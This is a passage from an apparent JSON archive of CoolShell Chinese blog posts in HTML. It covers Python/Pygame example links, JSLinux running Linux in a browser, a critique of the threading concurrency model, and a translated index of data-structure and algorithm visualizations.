href=\"http://cs.simpson.edu/files/python_examples/screenshots/move_sprite_mouse.png\"><img alt=\"\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/move_sprite_mouse_thumb.png\"/></a></td>\n</tr>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=move_with_walls_example.py\">move_with_walls_example.py</a> – 移动一个点，但是会被墙阻止。</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/move_with_walls_example.png\"><img alt=\"\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/move_with_walls_example_thumb.png\"/></a></td>\n</tr>\n</tbody>\n</table>\n<h4>游戏示例</h4>\n<table border=\"0\" cellpadding=\"1\" cellspacing=\"1\">\n<tbody>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=bounce_ball_with_paddle.py\">bounce_ball_with_paddle.py</a> – 两个玩家玩对碰球游戏，需要两个手柄。</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/bounce_ball_with_paddle.png\"><img alt=\"\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/bounce_ball_with_paddle_thumb.png\"/></a></td>\n</tr>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=breakout_simple.py\">breakout_simple.py</a> – 一个简单的游戏，显示 “Game Over” 信息.</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/breakout_simple.png\"><img alt=\"\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/breakout_simple_thumb.png\"/></a></td>\n</tr>\n<tr>\n<td>一个学生的作业. <a href=\"http://cs.simpson.edu/?q=node/62\">Spring 2011</a></td>\n<td><a href=\"http://cs.simpson.edu/?q=node/62\"><img alt=\"\" src=\"http://cs.simpson.edu/files/2011spring.png\"/></a></td>\n</tr>\n<tr>\n<td>另一个学生的作业.<a href=\"http://cs.simpson.edu/21\"> Fall 2010</a>\n<p><a href=\"http://cs.simpson.edu/?q=node/23\">Download games</a> – .</p></td>\n<td><a href=\"http://cs.simpson.edu/?q=node/21\"><img alt=\"\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/sample_games_vid.png\"/></a></td>\n</tr>\n</tbody>\n</table>\n<h4>创建一个安装包</h4>\n<p><a href=\"http://cs.simpson.edu/?q=make_an_installer_for_your_python_program\">Python Pygame 安装包教程 </a></p>\n<h4>搜索和排序示例</h4>\n<ul>\n<li><a href=\"http://cs.simpson.edu/files/example_sorted_names.txt\">example_sorted_names.txt</a> – Sample file of names used in searching_example.py</li>\n<li><a href=\"http://cs.simpson.edu/?q=searching_example.py\">searching_example.py</a> – Example linear and binary searches</li>\n<li><a href=\"http://cs.simpson.edu/files/AliceInWonderLand.txt\">AliceInWonderLand.txt</a> – Text of Alice In Wonderland. Source: <a href=\"http://www.gutenberg.org/wiki/Main_Page\">Project Gutenberg</a></li>\n<li><a href=\"http://cs.simpson.edu/files/AliceInWonderLand200.txt\">AliceInWonderLand200.txt</a></li>\n<li><a href=\"http://cs.simpson.edu/files/dictionary.txt\">dictionary.txt</a></li>\n<li><a href=\"http://cs.simpson.edu/?q=sorting_examples.py\">sorting_examples.py</a> – Example code for the insertion and selection sorts.</li>\n</ul>\n<h4>文件示例</h4>\n<p><a href=\"http://cs.simpson.edu/?q=high_score.py\">high_score.py</a> – Example that shows how to read and write a high score to the disk so that it persists between program runs.</p>\n<h4>其它信息</h4>\n<ul>\n<li><a href=\"http://www.pygame.org/\">Pygame Website</a> – Pygame 主站</li>\n<li><a href=\"http://www.pygame.org/docs/\">Pygame Documentation</a> – Pygame 文档</li>\n</ul>\n<p>（全文完）</p>\n<p>——————————</p>\n<p><strong><span style=\"color: #000000;\">最后，不好意思很久没有更新酷壳，这段时间在国外出差，事多，5月31回国。大家见谅！</span></strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4220.html\"><img alt=\"一些有意思的文章和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3270.html\"><img alt=\"两本电子书\" height=\"150\" src=\"../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3270.html\">两本电子书</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1928.html\"><img alt=\"如何使用Python操作摄像头\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1928.html\">如何使用Python操作摄像头</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1157.html\"><img alt=\"Python 自然语言处理\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1157.html\">Python 自然语言处理</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11265.html\"><img alt=\"Python修饰器的函数式编程\" height=\"150\" src=\"../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4710.html\">Python 和 PyGame 的一些示例</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-5-19 在Web上运行Linux.html",
    "content": "<html><body><p>一个叫Fabrice Bellard的程序员写了一段Javascript在Web浏览器中启动Linux（<a href=\"http://bellard.org/jslinux/\" target=\"_blank\">原网页</a>，我把这个网页iframe在了下面），目前，你只能使用Firefox 4和Chrome 11运行这个Linux。这不是什么假的模仿Linux的东西，这是实实在在的运行一个Linux。这一举动还引起了很多很牛人的关注，包括Javascript的创建者<a href=\"http://twitter.com/#!/BrendanEich/status/70393502328045568\" target=\"_blank\">Brendan Eich</a>。</p>\n<p align=\"center\"><button id=\"jslinux-stop\" style=\"display: none;\">清除启动</button><button id=\"jslinux-start\">开始启动</button></p>\n<p align=\"center\"></p>\n<p><span id=\"more-4722\"></span></p>\n<p>随后，Fabrice Bellard发布了相关的技术说明：<a href=\"http://bellard.org/jslinux/tech.html\" target=\"_blank\">http://bellard.org/jslinux/tech.html</a>，从这份文档中我们可以看到：</p>\n<ul>\n<li>这个模似器完全由Javascript写成</li>\n<li>CPU仿真器使用的是<a href=\"http://qemu.org/\">QEMU</a>（接近于原古的486），为了装上Linux，其做了一些改动。</li>\n<li>Javascript的终端本来可以使用<a href=\"http://www.masswerk.at/termlib/\">termlib</a>，但他还是自己写了一个，因为OS的按键和Web浏览器不一样（<a href=\"http://unixpapa.com/js/key.html\">here</a>）</li>\n<li>Linux  使用了2.6.20内核，编译配置在<a href=\"http://bellard.org/jslinux/config_linux-2.6.20\" target=\"_blank\">这里</a>，并做了一些<a href=\"http://bellard.org/jslinux/patch_linux-2.6.20\" target=\"_blank\">小改动</a>。</li>\n<li>磁盘用的是Ram Disk，在启动的时候装载。其文件系统由<a href=\"http://buildroot.uclibc.org/\">Buildroot</a> 和<a href=\"http://www.busybox.net/\">BusyBox</a>产生。</li>\n<li>在Home目录下有一个hello.c的程序，你可以使用<a href=\"http://bellard.org/tcc\">TinyCC</a>编译（tcc，参看酷壳的<a href=\"https://coolshell.cn/articles/786.html\" target=\"_blank\" title=\"用TCC可以干些什么？\">这篇文章</a>）</li>\n</ul>\n<p>从这个事我有这些感触，</p>\n<ol>\n<li>在Web上运行一个Linux的操作系统不是问题。那么在Web上还有什么不能做的吗？</li>\n<li>Linux真是性能很高，在Javascript下运行感觉也不慢啊。</li>\n<li>真是Techno-Geek。</li>\n</ol>\n<p> <!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4722.html\">在Web上运行Linux</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-5-3 读书笔记：对线程模型的批评.html",
    "content": "<html><body><p><span style=\"color: #cc0000;\"><strong>——感谢Ian.Sian投递本文——</strong></span></p>\n<p>多线程模型是主流的并发编程模型。在过去几十年来，多线程模型一直是开发并发程序的有力工具。然而，它的历史并非总那么美好。1997年，NASA 的“火星探路者”号在执行任务的途中遭遇了严重的时序异常（参见 “<a href=\"http://research.microsoft.com/en-us/um/people/mbj/mars_pathfinder/mars_pathfinder.html\" target=\"_blank\">What really happend on Mars</a>“，注目 follow-up 中的<a href=\"http://research.microsoft.com/en-us/um/people/mbj/mars_pathfinder/Authoritative_Account.html\" target=\"_blank\">现身说法</a>），无法发回探测数据。如果不是 NASA 远程刷新了程序，它的结局就只能是报废在火星上。这一切都是由程序中潜藏的一个优先级反转 bug 造成的。更早的例子还有80年代的一系列 <a href=\"http://en.wikipedia.org/wiki/Therac-25\" target=\"_blank\" title=\"Therac-25\">Therac-25</a> 型医用粒子加速器事故。在这些加速器释放出的过量辐射照射之下，数位病人死亡。事后调查显示，至少有一次发生事故的原因，是加速器的控制软件中，存在一个只能由特定操作序列引发的竞争条件 bug。你也许认为这些只是陈年往事，但是直到现在，即便是世界500强公司们高价买来的信息系统，也同样避免不了这些问题。这导致许多程序员认为线程是个潘多拉魔盒，对它采取能躲就躲的态度。然而近来计算机的发展使得躲猫猫的空间越来越小：随便从市场上淘一个CPU，它里面也有不止一个核心。未来的程序员只会有越来越多的机会接触到并发编程，而无法再独善其身了。</p>\n<p>加州大学伯克利分校教授，<a href=\"http://ptolemy.eecs.berkeley.edu/~eal/\" target=\"_blank\">爱德华 A. 李</a>在2006年做了一次题为<a href=\"http://www.eecs.berkeley.edu/Pubs/TechRpts/2006/EECS-2006-1.html\" target=\"_blank\">《线程的麻烦 (The Problem with Threads)》</a>的学术报告。在报告中他提到：看上去，多线程只是对核心语言的小小扩展，甚至可以以第三方库的形式存在。但实质上，多线程程序和原有的核心语言编写的程序已经完全不同了。其原因在于，由于多线程程序可能以任意的次序交错执行，程序再也无法像顺序执行时那样产生确定的结果。多线程程序容易编写(因为写的是顺序程序)，但是难分析，难调试，更容易出错。</p>\n<p>在我的想法中，产生问题的根源，是多线程模型作为对并发问题的一个抽象，是很不完善的。<span id=\"more-4626\"></span>抽象的实质是对问题的转换。我们可以把抽象应用于一个问题，把它转换成另一个（或许）更简单的问题来解决。解决了转换后的简单问题，就意味着解决了原有的困难问题。严格来说，一个抽象一定要保存原有问题的结构，同时去除无关细节。但是，由于我们生活的世界并没有什么东西是完全“严格”的，现实中使用的抽象有时会隐藏解决问题的关键细节，或者残留一些不该漏出来的东西。评价一个抽象的好坏，也就不止是看它能节省多少代码，和它的界面有多优美这么简单，同时还要看看在一个问题被抽象转换之后，留了下来的细节还能不能好好地解决它。</p>\n<p>我们可以从这个意义上理解为什么线程模型是个很糟糕的抽象。一方面，对解决问题很关键的细节（如执行次序）被隐藏起来并受到了粗暴的对待。另一方面，线程模型极力兼容顺序程序的设计思想也使得如共享变量这样的，与线程不兼容的细节依然残留在程序员们的视线之内。我们无力控制程序的执行次序，而我们程序的正确性却依赖于对共享变量的有序变更。可以说，线程提供给我们的抽象简直是千疮百孔。我们还能用它干活，只是因为我们手里还有加锁机制，而它可以部分地堵上线程模型的漏洞。讽刺的是，引入加锁机制解决问题的同时，又带来了新的问题，所以我们编写多线程程序总会遇上死锁，活锁，优先级反转……等等。</p>\n<p>同样作为并发编程问题的抽象，<a href=\"http://c2.com/cgi/wiki?ActorsModel\" target=\"_blank\">角色模型</a>（Actor Model） 比线程模型好就好在，它的资源分享不像线程模型那样通过共享变量来进行。角色模型中的资源分享只能通过特定的机制（消息传递）来进行。你在角色模型里依然可能犯错误，如你可能制造死锁，也有可能造成优先级反转。但是没有共享变量就意味着没有了竞争条件，所以绝大部分资源也用不着上锁了。这样一来，原先至关重要的细节变得不那么重要，问题就这么解决了。</p>\n<p>一般来说，在修复一个糟糕的抽象时，可以采取的策略分如下两类：</p>\n<ul>\n<li>把造成问题的那部分抽象拿掉，直接露出底层的细节</li>\n<li>换一个和底层兼容性更好的抽象模型</li>\n</ul>\n<p>以 <a href=\"http://en.wikipedia.org/wiki/MapReduce\" target=\"_blank\">MapReduce </a>为例，它在解决分布式计算问题时，采取的是第一类策略。与现时流行的做法相反，MapReduce 并不试图制造计算是在单一场所完成的假象(流行话讲叫“云计算”)，相反它需要程序员自己把问题拆分到集群中不同的机器上。同时，它却隐藏了大量其他细节。这种另类策略导致批评 MapReduce “<a href=\"http://databasecolumn.vertica.com/database-innovation/mapreduce-a-major-step-backwards/\" target=\"_blank\">太底层，不通用</a>” 的声音不绝于耳， 然而这正是 MapReduce 聪明的地方。它放弃面面俱到，集中精力于高效地解决一小类问题（这类问题与排序问题有类似的结构），同时对其他的问题故意视而不见。它的流行证明了这一策略的成功。</p>\n<p>角色模型，通信进程（<a href=\"http://en.wikipedia.org/wiki/Communicating_sequential_processes\" target=\"_blank\">Communicating Sequential Processes</a>, CSP），以及函数式编程（FP）在应对并发编程问题时不约而同地选择了第二类策略。它们采用了与并发兼容性更好的抽象。角色模型与通信进程从线程模型的问题中抹去了共享变量，纯粹 FP 则抹掉了“变量”的可变性。CSP 还可以降低程序执行次序的不确定性（因为在CSP中执行次序默认是确定的，不确定性必须在程序设计时显式声明）。由于这些努力，这几种模型都避免了落入线程模型的麻烦中，得到了对并发问题的更优美的解法。我们可以说，这些模型提供的抽象比线程模型的都要好。很遗憾的是，它们尽管优美，但却乏人问津。角色模型与通信进程目前不被任何主流操作系统原生支持（微软在 Windows 7 附带的新并行运行时 <a href=\"http://msdn.microsoft.com/en-us/library/dd504870.aspx\" target=\"_blank\">ConcRT </a>中加入了基于角色模型的 Asynchronous Agents Library，使得状况稍微改观了一点）。FP 的年岁几乎和计算机语言的历史一样古老， 但它的市场份额直到现在也小得可怜。</p>\n<p>也许一切都是因为线程模型表面上那迷惑人的简单性，以及墨菲定律的变体：布劳尔技术惯性定律（已经成功的技术在新的，更好的技术出现时也会赖着不走）。我们曾经接纳了一个有缺点的解决方案，而现在我们被捆绑在这个方案上了。我们为线程模型写了成百上千万行的代码，而现在这些代码的重量束缚住我们的手脚，使得我们无法前行。</p>\n<p>解决线程模型带来的问题的正确做法，是推广新的，更完善的模型。既然解决问题的阻碍同时来自于新技术的低认知度和现有代码的拖累，很自然地有两个方面的工作要做。一、使得新技术更容易被多数程序员使用，二、想办法让现有的代码和新技术兼容。</p>\n<p>在兼容老代码这一头，我们已经有了一些行动。微软在 Windows 7 中提供一个称为<a href=\"http://msdn.microsoft.com/en-us/library/dd627187%28v=vs.85%29.aspx\" target=\"_blank\">用户模式调度 </a>(UMS) 的功能。UMS 可以将内核模式的线程转换为用户模式线程，而应用程序可以自己提供一个 UMS 调度器来调度它们。这意味着，我们现在有机会重载掉系统调度器的默认行为，而根据应用自身的特点给出更合理的调度安排来。这个功能可以用在构造更容易使用的并发模型上，这样开发的模型可以与老代码兼容（但 UMS 有一个让人迷惑的限制：只能用在64bit 的Windows 7 版本上）。</p>\n<p>同样地，在推广新技术方面，现在也有了很多成果。除了角色模型外，事务性内存(这又是一种避免竞争条件，从而避免加锁的方法)正在研究中；CSP 已经有了数个实现（如由 Kent 大学开发，针对 Java 的 <a href=\"http://www.cs.kent.ac.uk/projects/ofa/jcsp/\" target=\"_blank\">JCSP</a>），同时还有针对 CSP 的模型检证工具；至于 FP，最近因为人们认为 Web 系统的建模可以在函数式编程范式中更好的表达，FP 正在唤起人们的注意。我们缺的只剩下新技术的成功应用范例（实际上，前面的技术并不是没有成功范例，我们缺的是经验能够大规模运用的范例 ），以及一支理解这些技术的程序员大军了。对于这后一条，我甚至想，既然多线程编程唯一”容易”的事情是写代码，何不做出一种工具来让程序员们可以用写顺序程序的思维来在这些新模型中编写程序呢？这样的工具会帮助程序员利用线性程序的思维来理解代码，但是同时又让人注意到自己的改动正在影响系统的哪一部分。如果新模型的代码变得好理解了，也许更多的人会使用它们。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17680.html\"><img alt=\"从Gitlab误删除数据库想到的\" height=\"150\" src=\"../wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17680.html\">从Gitlab误删除数据库想到的</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17459.html\"><img alt=\"关于高可用的系统\" height=\"150\" src=\"../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17459.html\">关于高可用的系统</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9949.html\"><img alt=\"IoC/DIP其实是一种管理思想\" height=\"150\" src=\"../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9949.html\">IoC/DIP其实是一种管理思想</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6775.html\"><img alt=\"Bret Victor – Inventing on Principle\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6775.html\">Bret Victor – Inventing on Principle</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6639.html\"><img alt=\"千万别惹程序员 \" height=\"150\" src=\"../wp-content/uploads/2012/02/programming-language-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6639.html\">千万别惹程序员 </a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4626.html\">读书笔记：对线程模型的批评</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-5-4 可视化的数据结构和算法.html",
    "content": "<html><body><p>还记得之前发布过的那个<a href=\"https://coolshell.cn/articles/3933.html\" target=\"_blank\" title=\"可视化的排序过程\">关于可视化排序</a>的文章吗？在网上又看到了一个旧金山大学<a href=\"http://www.cs.usfca.edu/galles\">David Galles</a>做的各种可视化的数据结构和基本算法的主页，<a href=\"http://www.cs.usfca.edu/~galles/visualization/Algorithms.html\" target=\"_blank\">网址在这里</a>，大家可以看看。我把这个页面的目录列在下面并翻译了一下，大家可以直接点击了。</p>\n<p>不知道国内的教育有没有相关的教学课件，至少在我大学的时候是没有的。</p>\n<h4>基础</h4>\n<ul>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/StackArray.html\">Stack栈: 数组实现</a></li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/StackLL.html\">Stack栈: 链表实现</a></li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/QueueArray.html\">Queues队列: 数组实现</a></li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/QueueLL.html\">Queues队列: 链表实现</a></li>\n<li>Lists列表: 数组实现 ( <a href=\"http://www.cs.usfca.edu/~galles/visualization/java/visualization.html\">java</a> 版演示)</li>\n<li>Lists列表: 链表实现 ( <a href=\"http://www.cs.usfca.edu/~galles/visualization/java/visualization.html\">java</a> 版演示)</li>\n</ul>\n<h4>索引</h4>\n<ul>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/BST.html\">Binary Search Trees</a> 二叉检索树</li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/AVLTree.html\">AVL Trees (平衡二叉检索树)</a></li>\n<li>Red-Black Trees 红黑树 ( <a href=\"http://www.cs.usfca.edu/~galles/visualization/flash.html\">flash</a> 版本演示)</li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/OpenHash.html\">Open Hash Tables 开放哈希表(Closed Addressing 链地址法)</a></li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/ClosedHash.html\">Closed Hash Tables  闭合哈希表 (Open Addressing 开放定址法)</a></li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/ClosedHashBucket.html\">Closed Hash Tables, using buckets</a> 使用桶</li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/BTree.html\">B Trees</a> B树</li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/BPlusTree.html\">B+ Trees</a> B+树</li>\n</ul>\n<p><span id=\"more-4671\"></span></p>\n<p><a></a></p>\n<p><a></a></p>\n<li style=\"display: inline !important;\">\n<h4>排序</h4>\n</li>\n<p></p>\n<ul>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/ComparisonSort.html\">Comparison Sorting</a> 比较式排序\n<ul>\n<li>Bubble Sort 冒泡排序</li>\n<li>Selection Sort 选择排序</li>\n<li>Insertion Sort 插入排序</li>\n<li>Shell Sort 希尔排序</li>\n<li>Merge Sort 归并排序</li>\n<li>Quck Sort 快速排序</li>\n</ul>\n</li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/BucketSort.html\">Bucket Sort</a> 桶排序</li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/CountingSort.html\">Counting Sort</a> 计数排序</li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/RadixSort.html\">Radix Sort</a> 基数排序</li>\n</ul>\n<h4>堆数据结构</h4>\n<ul>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/Heap.html\">Heaps</a> 堆</li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/BinomialQueue.html\">Binomial Queues</a> 二项队列</li>\n</ul>\n<h4>图 算法</h4>\n<ul>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/BFS.html\">Breadth-First Search</a> 广度优先搜索</li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/DFS.html\">Depth-First Search</a> 深度优先搜索</li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/ConnectedComponent.html\">Connected Components</a> 连通性</li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/Dijkstra.html\">Dijkstra’s Shortest Path</a> Dijkstra最短路径</li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/Prim.html\">Prim’s Minimum Cost Spanning Tree</a> 最小生成树</li>\n<li>Topological Sort  拓扑排序 ( <a href=\"http://www.cs.usfca.edu/~galles/visualization/flash.html\">flash</a> 版本演示  <a href=\"http://www.cs.usfca.edu/~galles/visualization/java/visualization.html\">java</a> 版本演示)</li>\n<li>Floyd-Warshall 算法(解决任意两点间的最短路径的一种算法) (<a href=\"http://www.cs.usfca.edu/~galles/visualization/flash.html\">flash</a> 版本演示 <a href=\"http://www.cs.usfca.edu/~galles/visualization/java/visualization.html\">java</a> 版本演示)</li>\n<li>基于<em>Kruskal</em>算法的最小生成树的构建 ( <a href=\"http://www.cs.usfca.edu/~galles/visualization/flash.html\">flash</a> 版本演示 <a href=\"http://www.cs.usfca.edu/~galles/visualization/java/visualization.html\">java</a> 版本演示)</li>\n</ul>\n<h4>动态编程</h4>\n<ul>\n<li>计算 Fibonacci 数 ( <a href=\"http://www.cs.usfca.edu/~galles/visualization/java/visualization.html\">java</a> 版本演示)</li>\n</ul>\n<h4>其它…</h4>\n<ul>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/DisjointSets.html\">Disjoint Sets</a> （MIT算法公开课中有一课讨论的是这个，见<a href=\"http://v.163.com/movie/2010/12/V/E/M6UTT5U0I_M6V2UDUVE.html\" target=\"_blank\">网易公开课</a>）</li>\n<li>Huffman Coding 哈夫曼编码 ( <a href=\"http://www.cs.usfca.edu/~galles/visualization/java/visualization.html\">java</a> 版本演示)</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" 